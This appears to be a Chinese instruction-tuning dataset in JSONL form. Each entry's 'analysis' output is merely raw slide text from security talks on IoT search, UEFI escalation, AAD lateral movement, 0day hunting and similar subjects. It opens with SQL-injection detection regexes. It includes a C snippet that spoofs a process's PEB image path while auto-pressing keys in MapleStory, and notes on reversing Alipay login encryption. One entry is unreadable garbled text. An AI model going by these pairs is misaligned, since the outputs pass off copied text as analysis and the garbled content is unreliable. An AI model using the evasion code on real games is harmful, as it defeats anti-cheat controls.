(?:\\d\"\\s+\"\\s+\\d)|(?:admin\\s*\"|(\\/\\*)+\"+\\s?(?:--|#|\\/\\*|{)?)|(?:\"\\s*or[\\w\\s-]+\\s*[+<>=(),-]\\s*[\\d\"])|(?:\"\\s*[\\w\\s]?=\\s*\")|(?:\"\\W*[+=]+\\W*\")|(?:\"\\s*[!=|] [\\d\\s!=+-]+.*[\"(].*$)|(?:\"\\s*[!=|][\\d\\s!=]+.*\\d+$)|(?:\"\\s*like\\W+[\\w\"(])|(?:\\sis\\s*0\\W)|(?:where\\s[\\s\\w\\.,-]+\\s=)|(?:\"[<>~]+\") (?:union\\s*(?:all|distinct|[(!@]*)?\\s*[([]*\\s*select)|(?:\\w+\\s+like\\s+\\\")|(?:like\\s*\"\\%)|(?:\"\\s*like\\W*[\"\\d])|(?:\"\\s*(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s \\w]+=\\s*\\w+\\s*having)|(?:\"\\s*\\*\\s*\\w+\\W+\")|(?:\"\\s*[?\\w\\s=.,;)(]+\\s*[(@\"]*\\s*\\w+\\W+\\w)|(?:select\\s*[\\[\\]()\\s\\w\\.,\"-]+from)|(?:find_in_set\\s*\\() (?:in\\s*\\(+\\s*select)|(?:(?:n?and|x?or|not |\\|\\||\\&\\&)\\s+[\\s\\w+]+(?:regexp\\s*\\(|s", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 工厂方法Factory Method ### Intent 定义了一个创建对象的接口但由子类决定要实例化哪个类工厂方法把实例化操作推迟到子类 ### Class Diagram 在简单工厂中创建对象的是另一个类而在工厂方法中是由子类来创建对象 下图中Factory 有一个 doSomething() 方法这个方法需要用到一个产品对象这个产品对象由 factoryMethod() 方法创建该方法是抽象的需要由子类去实现

### Implementation ```java public abstract class Factory { abstract public Product factoryMethod(); public void doSomething() { Product product = factoryMethod(); // do something with the product } } ``` ```java public class ConcreteFactory extends Factory { public Product factoryMethod() { return new ConcreteProduct(); } } ``` ```java public class ConcreteFactory1 extends Factory { public Product factoryMethod() { return new ConcreteProduct1(); } } ``` ```java public class ConcreteFactory2 extends Factory { public Product factoryMethod() { return new ConcreteProduct2(); } } ``` ### JDK - [java.util.Calendar](http://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html#getInstance--) - [java.util.ResourceBundle](http://docs.oracle.com/javase/8/docs/api/java/util/ResourceBundle.html#getBundle-java.lang.String-) - [java.text.NumberFormat](http://docs.oracle.com/javase/8/docs/api/java/text/NumberFormat.html#getInstance--) - [java.nio.charset.Charset](http://docs.oracle.com/javase/8/docs/api/java/nio/charset/Charset.html#forName-java.lang.String-) - [java.net.URLStreamHandlerFactory](http://docs.oracle.com/javase/8/docs/api/java/net/URLStreamHandlerFactory.html#createURLStreamHandler-java.lang.String-) - [java.util.EnumSet](https://docs.oracle.com/javase/8/docs/api/java/util/EnumSet.html#of-E-) - [javax.xml.bind.JAXBContext](https://docs.oracle.com/javase/8/docs/api/javax/xml/bind/JAXBContext.html#createMarshaller--)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCame Saw Conquered 网络空间中的IoT安全 IDppprince From:中国科学院信息工程研究所 物联网信息安全北京市重点实验室 yanzhaoteng@iie.ac.cn 2016年9月2日星期五2时21分16 秒 Part. 01 引言 1 物联网时代的到来 2013年物联网处于上升期 2014年物联网取代大数据登上了成熟度曲线的最高点 2015年物联网仍位于顶点 联网设备数2015年49亿2020年260亿(Gartner) Emerging Technologies of 2015 物联网终端 电力/工业 轨道交通 家居生活 保密场所 物理空间 IoT 物联网时代的到来 智能家居 智能楼宇 智能电网 可穿戴计算 城市视频监控 城市供水和燃气 泛 在 的 设 备 互 联 物联网带来变革 改变了生活方式的改变更加便利和智能智能家居智能医疗 改变了生产方式提高生产力工业互联网农业互联网 改变了管理模式智慧社区智能城市 推进了社会的发展历程 万物互联到物联网搜索 搜索空间的拓展 从人类世界到物理世界 从文档网页到实体设备 物 理 空 间 物联网体系 物联网搜索使搜索对象从文档网页扩 展到异构实体设备和动态数据流 搜索对象规模与复杂性膨胀 资源容量和复杂程度显著提升 实体资源与服务对应多样化 是物联网潜在的杀手级应用 互联网体系 搜索引擎将庞大复杂的互联网资 源从地址索引映射为内容索引 成为信息与知识发现的入口 提升了用户访问接口的语义层次 降低了用户使用网络资源的门槛 是互联网高速发展的核心催化剂 网 络 空 间 互联网搜索 改变了人们获取信息的获取方式 会议文献期刊论文 电影歌曲歌星影星等娱乐信息 旅游景点 地图 Google Google Hacking 百度 百度一下你就知道 人肉搜索 物联网搜索 发现设备找到服务 旅游信息-摄像头在线 天气信息 企业产品的分布 多少产品在线分布等 连接在互联网上的品牌排名 安全事件分析和防护 心脏出血漏洞的态势感知 重大安全事件的全球影响分布 物联网搜索引擎 Shodan --黑暗谷歌 John Matherly于2009年发布 第一个物联网设备搜索引擎 采用基于端口和协议标语抓取的方式利用端 口扫描工具在全球IP地址中进行查询并对返 回标语信息进行存储和整理进而提供索引服 务 在全球至少8个地点部署搜索服务器美国东西 海岸中国冰岛法国台湾越南罗马 尼亚捷克等 搜索端口达200多个24h7不间断扫描从 2009年维护至今 最全面最强大的搜索引擎 物联网搜索引擎 发现思科设备 cisco-ios last-modified 14,000+设备使用HTTP服务却未进行认 证设置 没有安全设置的网络摄像头打印机 camera printer default password password:123456等关键字 物联网搜索引擎 Censys Internet-wide search engine 密西根大学开发的搜索引擎 2015年ACM CCS安全会议上发布 更加偏重于学术研究网络安全协议TLSSSL等 数据更新快(每天更新实时更新) 开放源码 https://github.com/zmap/zgrab https://github.com/zmap/ztag 提供原数据下载https://scans.io/ 应用 可以搜索到互联网上多少设备使用了SSLv3安全协议 以及多少设备存在着心血漏洞 Durumeric Z, Adrian D, Mirian A, et al. A search engine backed by Internet-wide scanning[C]//Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security(CCS). ACM, 2015: 542-553. 2016年9月2日星期五2时21分18 秒 Part. 02 物联网搜索技术 11 网络空间搜索的挑战 目标 发现网络上的服务和设备 搜索速度快 搜索内容全 设备发现的难点挑战 40亿IP的网络空间 多端口网络黑洞 NATFirewall等内网空间探测 设备发现的礼貌性 设备发现的隐蔽性 智 能 设 备 办 公 设 备 监 控 设 备 工 控 设 备 物联网搜索 Came来到你身边 1 Saw看看你是谁 2 Conquered快到碗里来 3 物联网搜索技术 Came来到你身边 快速发现技术 Saw看看你是谁 指纹识别技术 位置定位", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n- 1 6 082 1 2 3 04 0 01 S U LR X MQS Q S X L I X X 1)*) *.*(312*3( ,*3*1)*) 1)*) 1*.*(31.*,*3* *.*(312*3( ,*3*1)*) 1*.*( 31.*,*3* :: = CA:3(1A E 11.::1.::1.1.::11.1. :31()',2:.:1 .: =41:1.::1 1A .1=414111.1 E 11.::1.::1.1.::11.1 .1 =414111.1.:31()',2: .:1 .: =41:1.::1 TOR_a JW 'C '.)(=' = ' '. JW'C LMOWE1WHPRQTSF bp =CE-0,L EECE< EFC= H st\\L 1(('2)0-,EC=EE.E WITAW\\!1 d MWVM%M\\WV\\MV\\DaM \\M\\P\\T !1 MWVM%OM\\F\\M!%V\\TV 2WRM\\TIL3G TL0.58/.+++9((8(69/.,:+//8/G _L\\P3(PMOP\\3( WLMIM3G P\\\\0RII%V%WWL\\TOV(%RV\\ITT(_V)%IEMWV3(###G 4 !1 MWVM%OM\\F\\M!%V\\TV 2IIVIM3WLMITM3C5AWV\\W5TM\\%TI4 !1 MWVM%OM\\F\\M!%V\\TV 2MML\\aM3G ITI\\WVRIIITM\\1MWV3(%G WLM3C5AWV\\W5TM\\%TI _L\\P3( PMOP\\3(W\\3G \"W\\\" G \\ITM3ITMTOVIOM3G P\\\\0RII%V%WWL\\TOV(%TOVV\\ITT%P\\TG 4 !1 MWVM%OM\\F\\M!%V\\TV 2VWMML4 !1 MWVM%OM\\F\\M!%V\\TV 2WMV\\4 !1 MWVM%OM\\F\\M!%V\\TV 2VWMML4 !1 MWVM%OM\\F\\M!%V\\TV 2MML4 !1 MWVM%OM\\F\\M!%V\\TV 2WRM\\4 !1 MWVM%OM\\F\\M!%V\\TV 2WLa4 !1 MWVM%OM\\F\\M!%V\\TV 2P\\T4 !1 d / / EG2.3 ... GF.Cexpect.1H 1 dwr.xml Web.xml IJ8JJE8I7DIEJENDQ =NDEND\"JD\"EJQ 7.8PNDEM7", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nS-SDL企业应用实践 关于漏洞风险成本 1. 为什么软件总会有漏洞漏洞是怎么引入的 业务需求引入 产品设计引入 编码引入 2. 如何应对风险 缓解风险 转移风险 接受风险 3. 安全成本 对于企业来说安全投入多少是合适的 什么是S-SDL 不是一种安全技术而是E2E的安全工程能力 也是一种Security Built In的解决方案 目标交付更安全的系统 S-SDL架构 安全策略安全治理 组 织 架 构 培 训 体 系 研 发 流 程 度 量 体 系 工 具 平 台 安全标准规范过程知识库 人 工具 方法 质量 管理 安全是质量属性的一部分将安全融入到质量管理是构建S-SDL的基本条件 软件安全研发流程设计 安全需求 安全设计 安全开发 安全测试 发布及漏洞 管理 持续改进 安全融入开发流程 建立安全需求 1. 分析业务需求对安全的影响 2.来自客户的显性安全需求 3.安全需求基线 3.合规认证需求 安全需求 设计目标 质量门槛 安全设计Security by Design 1.攻击面分析 攻击面最小化 2. 威胁建模 STRIDE威胁建模 攻击树威胁建模 安全规范 威胁库 方案库 安全设计原则 说明 开放设计 安全不依赖于设计的秘密 失败安全 基于允许的访问决策 权限分离 一种保护机制需要两把钥匙来解锁 最小授权 根据业务需求最授权 经济适用 越复杂的东西越容易出漏洞 最小公共化 尽量减多用户间公用的且被所有用户依赖的机 制 完全仲裁 每一次访问都应该进行权限检查 心理可承受 安全机制的设计要易于使用 不轻信 默认不可信 保护薄弱环节 攻击往往在薄弱点发生 纵深防御 不依赖单一的安全机制 代码安全 1. 安全编码规范 2. 代码扫描及告警清理 3. 代码Review 安全函数库 扫描规划定制化 告警清理指导 代码 Review指导 安全测试 1.基于威胁建模的测试 2.Fuzzing 3.己知漏洞扫描 4. 测试问题跟踪 发布及漏洞管理 1. 安全生态建设漏洞收集 2. 漏洞分析排查预警 3. 根因分析", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAugust, 2007 2007 Finjan Software Ltd. All rights reserved. The Inherent Insecurity of Widgets and Gadgets Aviv Raff Iftach Ian Amit Who are we? Aviv Raff Security researcher at Finjans MCRC Iftach Ian Amit Director of security research at Finjan Introduction - Widgets? What is a widget? Widgets are small applications Provide visual information Provide access to a frequently used functions Hosted in an environment called a Widget Engine Introduction - Types of widgets Website widgets 3rd party application widgets OS integrated widgets General Issues - Malicious Widgets Widgets are applications Applications can include malicious code Hence, widgets can be malicious General Issues - Vulnerabilities Widgets are small applications Often considered too simple to represent a security threat Widgets are developed without security in mind Hence, widgets probably have security vulnerabilities General Issues - Attack vectors Downloadable malicious widgets Email attachments Vulnerable widgets Command injection Man in the middle attacks Browser vulnerabilities Vulnerable websites XSS CSRF General Issues - Impact Session/Account hijacking Remote denial-of-service Information leakage Personal Corporate Remote code execution Exploiting browser vulnerabilities Download and execute Web widgets - In the Wild Personalized Portals iGoogle Microsoft Live MyYahoo Blog systems WordPress TypePad Social networks MySpace Web widgets - iGoogle Personalized Portal Requires a Google Account Based on HTML and javascript JS API for widget developers Mobile support Web widgets - iGoogle - Malicious Widget Demo Web widgets Vulnerable Widget Demo Widget Engines - 3rd party applications Yahoo widgets (Konfabulator) Google Desktop DesktopX Opera browser Widget Engines - Yahoo Widgets Previously known as Konfabulator Recently released version 4.0 Based on HTML like Markup Language and javascript Some of the widgets require Yahoo account Mult", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nRe: Whats up Johnny? Covert Content Attacks on Email End-To-End Encryption Jens Müller, Marcus Brinkmann, Damian Poddebniak, Sebastian Schinzel, Jörg Schwenk Remember EFAIL? 2 Last year: EFAIL Remember EFAIL? 2 Last year: EFAIL Major attack with a logo Remember EFAIL? 2 Last year: EFAIL Major attack with a logo Novel attack techniques targeting S/MIME + PGP Remember EFAIL? 2 Last year: EFAIL Major attack with a logo Novel attack techniques targeting S/MIME + PGP Today: non-crypto attacks Remember EFAIL? 2 Last year: EFAIL Major attack with a logo Novel attack techniques targeting S/MIME + PGP Today: non-crypto attacks Targeting encryption and digital signatures Remember EFAIL? 2 1. Introduction 2. Attacks on Encryption 3. Attacks on Signatures 4. Evaluation 5. Mitigation Overview 3 1. Introduction 2. Attacks on Encryption 3. Attacks on Signatures 4. Evaluation 5. Mitigation Overview 3 Technology's promise 4 I. Strong crypto is virtually unbreakable. Technology's promise 4 I. Strong crypto is virtually unbreakable. II. Digital signature will prevail. Math wins. Technology's promise 4 I. Strong crypto is virtually unbreakable. II. Digital signature will prevail. Math wins. Technology's promise claims I. and II. could be bypassed with a single reply to a benign looking email? What if 4 From: alice@good.com To: johnny@good.com Subject: Important news Some ASCII text message Traditional RFC822 email 5 From: alice@good.com To: johnny@good.com Subject: Important news Some ASCII text message Traditional RFC822 email 5 From: alice@good.com To: johnny@good.com Subject: Important news Some ASCII text message Traditional RFC822 email 5 From: alice@good.com To: johnny@good.com Subject: Important news -----BEGIN PGP MESSAGE----- -----END PGP MESSAGE----- Traditional PGP/Inline 6 From: alice@good.com To: johnny@good.com Subject: Important news -----BEGIN PGP MESSAGE----- -----END PGP MESSAGE----- Traditional PGP/Inline 6 From: alice@good.com To: johnny@good.com Su", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStaying Connected During a Revolution or Disaster Thomas Wilhelm Introduction / Background Copyright Trustwave 2010 Confidential Speaker Info Thomas Wilhelm Education Masters Degrees in Computer Security: Computer Science Management Ph.D. Student in Information Technology: Information Assurance and Security Signal Intelligence U.S. Army SIGINT Analyst / Cryptanalyst Certifications ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM Copyright Trustwave 2010 Confidential Current Events Revolutions Egypt / Middle-East Orchestrated via social networks Decentralized Natural Disasters Tōhoku Earthquake and Tsunami Hurricane Katrina Copyright Trustwave 2010 Confidential Impact to Telecommunication Loss Impact of Telecommunication Loss Loss of Life Limits Response by Emergency Services Disruption of organized events Economic Loss We need a method of creating an alternate method of communicating with each other. People could not communicate. It got to the point that people were literally writing messages on paper, putting them in bottles and dropping them from helicopters to other people on the ground. Louisiana Sen. Robert Barham (R) What Happens During Communication Breakdown Copyright Trustwave 2010 Confidential Telecommunication Loss Loss of Communication for Different Reasons Natural Disasters Wipes out telecommunication infrastructures Require days to months to re-establish Government Suppression Infrastructure remains intact Flip the Switch and it is restored Historically, down for only a few days Copyright Trustwave 2010 Confidential Natural Disasters Japanese Earthquake & Tsunami Impacted: Cellular / Landline phones Power Transportation Undersea communication Government / Corporate Response: Use of loudspeakers Television news broadcasts Mobile cellular base stations Increased of WiFi hotspots Copyright Trustwave 2010 Confidential Natural Disasters Hurricane Katrina Impacted: Cellular / Landline phones Local television stations Power Transpo", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nvoid fake_image_path(WCHAR *img_path) { __asm { // PEB mov eax, fs:[0x30] // _RTL_USER_PROCESS_PARAMETERS mov eax, [eax+0x010] // ImagePathName.Buffer add eax, 0x3C push img_path pop [eax] } } int main() { HWND game = FindWindow(NULL, \"MapleStory\"); while(true) { PostMessage(game, WM_KEYDOWN, VK_CONTROL, 0); PostMessage(game, WM_KEYUP, VK_CONTROL, 0); } } void PressKey(long KeyCode) { unsigned char scan_code = MapVirtualKey(KeyCode, 0); PostMessage(MSHWND, WM_KEYDOWN, KeyCode, 0x0000001 | scan_code << 16); PostMessage(MSHWND, WM_KEYUP , KeyCode, 0xC000001 | scan_code << 16); } lParam", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBSODomizer HD History HDMI 101 FPGA: WTF?! Design Challenges In Debt to Our Friends Kris Bahnsen (l33tbunni) Raivis Rengelis (RaivisR) Parker Dillmann (LonghornEngineer) #tymkrs This project would not have happened without the help, support, and patience of... The Original BSODomizer Released at DEFCON 16 (2008) XGA (1024 x 768) w/ text only Parallax Propeller, reprogrammable w/ PropClip 2x CR2032 Lithium coin cells Fully open source Wanted to learn about FPGAs Share our work with the hacker community Create another ridiculous (and possibly useful) project Desired Features Mischief Full color, 1080p graphic capability User-loadable images from SD card Animated screens Legit Screen capture (for pentesting) Video display calibration Open source FPGA tool/reference design HDMI 101 High speed, differential signalling TMDS: 3 DATA + 1 CLK 1080p @ 60Hz is hard and fast Bit rate: ~3.6GHz Pixel clock: 148.5MHz Try doing that with a microcontroller! High speed processing more efficiently handled by FPGA FPGA: WTF?! Blank slate of digital logic Configurable blocks/ connections Behavior defined w/ schematic or HDL Design/purchase IP modules to create hardware System operates in parallel, synchronized to clock(s) Danger and confusion abounds! FPGA: WTF?! Blank slate of digital logic Configurable blocks/ connections Behavior defined w/ schematic or HDL Design/purchase IP modules to create hardware System operates in parallel, synchronized to clock(s) Danger and confusion abounds! Preliminary Block Diagram FPGA: Cyclone V GX Starter Kit Cyclone 5CGXFC5C6F27C7N, $179 USD Performance v. power v. cost Got up and running in minimal time (~2 days) Terasic does not provide schematics or PCB layout in native format :( HDMI TX: ADV7513 Serialization converter to reduce resources of FPGA Included on the C5G dev. kit We provide RGB + control signals, it magically provides HDMI-compliant TMDS outputs Early Proof of Concept Early Proof of Concept", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWant strong isolation? Just reset your processor. How we can build more secure systems by applying the age-old wisdom of turning it off and on again Anish Athalye, Adam Belay, Frans Kaashoek, Robert Morris, Nickolai Zeldovich Security devices are increasingly common Smartphone apps Custom hardware 2 They are getting better Smaller TCB SMS 2FA Smartphone TOTP Hardware TOTP Smartphone U2F Hardware U2F Hardware Cryptocurrency wallet 3 Paradigm shift 2FA: More secure login on PC Transaction approval, Removes PC from TCB 4 Can we make the PC secure instead? 5 Endless bugs: Application bugs OS bugs (kernels > 20M LOC) Micro-architectural CPU bugs (Spectre, Meltdown, Foreshadow, Zombieload) Hardware bugs (Rowhammer, RAMBleed) npm install event-stream https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident Transaction approval on simple devices 6 Remove PC from TCB Untrusted PC Trusted hardware (has private key) 7 TX Sign(TX) Remove PC from TCB 8 Not just cryptocurrencies 9 Before: confirm on PC After: must confirm on device, which signs transaction Not just cryptocurrencies 10 Transaction approval everywhere! 11 Transaction approval everywhere! 12 Sharing results in isolation bugs Some past wallet bugs Bad argument validation in syscalls Bad configuration of MPU [Riscure @ Black Hat 2018; Ledger Blog; Trezor Blog] 13 USB SoC: CPU+RAM, Flash, Peripherals Buttons Display Security through physical separation 14 Simulating physical separation 15 Reset-based design 16 CPU RAM CPU RAM UART Flash Buttons Display USB Application core Management core Syscalls: exit() exit_state(state) Runs third-party code; has no persistent state Manages persistent state; never runs third-party code What needs to be reset? 17 CPU RAM CPU RAM UART Flash Buttons Display USB Application core Management core Purging state in a CPU, attempt #1 18 cut power Purging state in a CPU, attempt #2 19 reset! What does reset mean? 20 RISC-V Instruction Set Manual Purging state", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nExtreme Privilege Escalation On Windows 8/UEFI Systems Corey Kallenberg Xeno Kovah John Butterworth Sam Cornwell ckallenberg@mitre.org, xkovah@mitre.org jbutterworth@mitre.org, scornwell@mitre.org The MITRE Corporation Approved for Public Release Distribution Unlimited. Case Number 14-2221 Abstract The UEFI specification has more tightly coupled the bonds of the operating system and the platform firmware by providing the well-defined Runtime Service interface between the operating system and the firmware. This interface is more expansive than the interface that existed in the days of conventional BIOS, which has inadvertently increased the attack surface against the platform firmware. Furthermore, Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its privileges from ring 3 all the way up to that of the platform firmware, which attains permanent control of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the authors discovered in the UEFI open source reference implementation and the techniques that were used to exploit them. 1 Contents 1 Introduction 3 2 Runtime Services 3 2.1 Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2 Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2.1 Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 2.2.2 PEI Phase Capsule Coalescing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.3 DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 3 Capsule Update Vulnerabilities 6 3.1 Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 3.2 Envelope Vulnerability . . . . . . . . . . . . ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents AAD Joined Machines - The New Lateral Movement Mor Rubin #BHUSA @BlackHatEvents Who am I? Mor Rubin (@rubin_mor) Senior security researcher at Microsoft Interested in networking, cloud and On-Prem attacks, mitigations and detections #BHUSA @BlackHatEvents Agenda Introduction to key terms NegoEx protocol Attacks Demo Hunting Takeaways #BHUSA @BlackHatEvents Technical background #BHUSA @BlackHatEvents Azure AD Joined device Ref: Dirk-Jan Mollema Im in your cloud reading everyones email Troopers 19 https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf #BHUSA @BlackHatEvents AADJ Authenticated Connections AADJ AADJ PRT P2P Certificate #BHUSA @BlackHatEvents Primary Refresh Token - PRT A JSON Web Token (JWT) for the user and the device it was issued for Can be compared to Ticket Granting Ticket (TGT) Can be used to authenticate to any application #BHUSA @BlackHatEvents P2P Azure AD certificate Certificate that is used for peer-to-peer authentication between Azure AD joined devices Issued by Azure AD upon request and valid only for 1 hour #BHUSA @BlackHatEvents Kerberos PKINIT Kerberos extension allows certificate authentication over Kerberos instead of hash (password) Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms- kile/b4af186e-b2ff-43f9-b18e-eedb366abf13 #BHUSA @BlackHatEvents PKU2U Based on Kerberos version 5 messages and the Kerberos GSS-API mechanism. Implemented as a Security Support Provider (SSP) enables peer-to-peer authentication Used for authentication in NegoEx when no KDC exists #BHUSA @BlackHatEvents GSSAPI \\ SSPI SSPI is an API that allows application to add authenticity and privacy layer It is applicable to any application that allows 'Windows Authentication' Ref: https://docs.microsoft.com/en-us/windows-server/security/windows- authentication/security-support-provider-interface-architecture #BHUSA @BlackHatEvents NegoEx protocol #BHUSA @BlackHatEvents NegoEx Client Server #BHUSA @Bl", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n猫 鼠 游 戏 如 何 进 行 W i n d o w s 平 台 在 野 0 d a y 狩 猎 金权 安恒信息 自我介绍 金权@jq0904/银雁冰 安恒信息猎影/卫兵实验室高级安全专家 研究方向 Windows平台漏洞挖掘与利用 Windows平台在野0day狩猎 演讲经历 Black Hat USA 2022 HITB Amsterdam 2021 Blue Hat Shanghai 2019 40+ Microsoft/Adobe CVE致谢 (7次在野0day致谢 2020~2022 MSRC TOP 100 目录 1. 背景 2. 用不同的方法解决不同的问题 为什么沙箱适合狩猎Office在野0day 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 Office在野0day案例分析 Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 目录 1. 背景 2. 用不同的方法解决不同的问题 为什么沙箱适合狩猎Office在野0day 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 Office在野0day案例分析 Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 背景 0 10 20 30 40 50 60 70 2018 2019 2020 2021 2022 最近5年全球在野0day披露数量及国内外占比 国内厂商披露 国外厂商披露 主要统计数据来源0day \"In the Wild\" - Project Zero 背景 0 1 2 3 4 5 6 7 8 2018 2019 2020 2021 2022 最近5年中国厂商披露在野0day统计 360 安恒 腾讯 阿里巴巴 奇安信 Shadow Chaser Group 主要统计数据来源0day \"In the Wild\" - Project Zero 背景 0 1 2 3 4 5 6 7 8 2018 2019 2020 2021 2022 我参与披露的在野0day 360 安恒 腾讯 阿里巴巴 奇安信 Shadow Chaser Group 主要统计数据来源0day \"In the Wild\" - Project Zero 目录 1. 背景 2. 用不同的方法解决不同的问题 为什么沙箱适合狩猎Office在野0day 为什么YARA适合狩猎Windows本地提权在野0day 3. 近两年热门在野0day案例分析 Office在野0day案例分析 Windows本地提权在野0day案例分析 4. 如何培养在野0day狩猎人才 Office在野0day漏洞分类 纯Office漏洞 内存破坏漏洞例如CVE-2015-1641近几年此类漏洞攻击逐渐消失 逻辑漏洞沙虫漏洞CVE-2014-4114Moniker系列漏洞CVE-2017-0199等 以Office为载体的其他漏洞 Flash漏洞随着Flash退役而消失 IE浏览器漏洞随着IE退役逐渐减少但攻击面仍在 .NET漏洞CVE-2018-8759个例 Windows系统漏洞CVE-2014-4148等不排除后面还会出现 趋势一逻辑漏洞越来越多 内存漏洞缓解 机制日益完善 内存破坏漏洞 利用逐渐减少 逻辑漏洞 日渐增多 趋势二远程加载漏洞利用的手法越来越流行 2014年 2017年 2018年 2020年 2021年 2022年 CVE-2014-4114 CVE-2017-0199 CVE-2017-8759 CVE-2018-5002 CVE-2018-8174 CVE-2018-15982 CVE-2020-0674 CVE-2021-40444 CVE-2022-30190 为何说沙箱适合狩猎Office在野0day 远程加载利用 成为主流 利用代码云控 具有时效性 沙箱检测 静态提取URL 缺点1RTF代码混淆 缺点2请求时加密 优点模拟实际交互 情况可以做到全过 程记录准确率高 为何说沙箱适合狩猎Office在野0day 逻辑漏洞一般 影响较多版本 沙箱环境制作 工作量较小 只需维护一个常 见Office版本的 全补丁镜像 沙箱能覆盖的Office在野0day狩猎场景 所有以Office为载体的在野0day场景 适用沙箱 狩猎的场景 可行的思路 做一个全补丁Office环境镜像将可疑样本投入沙箱通过异常行为进行过滤 环境制作Windows 10 + Office 2019 (仅供参考) 异常行为 Office进程启动可疑子进程需过滤常见白名单 检测是否有异常地址处的指令访问敏感模块的导", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n端到端流水线驱动DevOps落地 DevOps时代社区 景韵 无关趋势关乎生死 DevOps 2017 年度报告 Continuous Delivery Continuous Integration DevOps Continuous Deployment Lean (End to End Flow) Principles Practices Running Lean Product/Market Fit (Finding&Validating Ideas) Scrum/Kanban (Process) XP (Engineering) Operations Business Software Service Agile(Development/Test) DevOps在整个软件生命周期的位置 s peOA s s p v R S sC -sD s =s 企业级DevOps理论与实践体系标准 流水线驱动DevOps 主要结论 业务对交付频率有较高要求65%的受访者实现了每周一次以上的部署频率 部署频率与部署成功率正相关通过技术手段可以保证价值快速和高质量流动 64%的受访者已经引入持续交付流水线 其中的86%在使用Jenkins 各阶段工具与流水线集成比率低于25%流水线自动触发比率仅有31% 1. 流水线集成很困难 需要端到端整合持续交付流水线 多种工具间有效集成和互联互通 2. 自动化触发比率低 3. 优秀实践应用不全 问题及改进建议 一 问题及改进建议 二 问题及改进建议 三 代码提交自动触发自动化执行 流水线逐层晋级实现内建质量 代码扫描非功能测试灰度发布 分布式配置中心数据库变更管理 DevOps流水线调研结论 张乐石雪峰景韵 流水线核心成员张乐赵舜东景韵石雪峰雷涛李华强孙博 微服务项目 Build Test Deploy Everything is Container 所有的构建测试部署运行环 境都实现容器化动态生成 Docker in Docker 在通用容器环境中按需拉取任务 所需镜像实现环境标准化 全面拥抱容器化 Slave动态挂载 Jenkins节点通过JNLP协议动态生 成挂载 资源动态调度 容器资源由Kubernetes平台进行 统一调度动态扩容收缩 弹性动态集群 打通需求开发部署流程 JiraGitlabJenkins完美集成 流水线状态自动化同步 插接研发团队内部工具 将自动化测试部署上线集成到流 水线中端到端打通全流程 From KKWhy, What, and How of Continuous Delivery 流水线工具集成 流水线的16个特性 流水线建设路线图 Value Stream Mapping THANKS", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJS逆向40分钟视频通杀登陆加密 收录于合集 #JS逆向 4个 介绍 书接上Burpy款流量解密插件 属于配套了 其实这个付宝案例已经发过了我实在是懒得写别的站点章重新录了个通杀的视 频就以付宝为案例讲解了基本秒扣加解密函数视频有百度爱奇艺优酷微 博都简单扣了下分钟搞定家有案例的话也可以私发我 点击下图跳转到视频 或访问: 2022-07-23 12:42 发表于北京 原创 不愿透露姓名的热友 位不愿透露姓名的热友 https://www.bilibili.com/video/BV16d4y1S7Su 键三连啊看官们 下就新发了可以直接忽略不看 站aHR0cHM6Ly93d3cuYWxpcGF5LmNvbS8= f12 network Ctrl+Shift +F 局搜索需要解密的password关键字 多次调试后最终在index.js中的393找到getPassword的法转搜索getPassword声明位 置在index.js中4979地找到声明信息 然后下断点对发包请求内容发现n的内容password字段信息内容n是 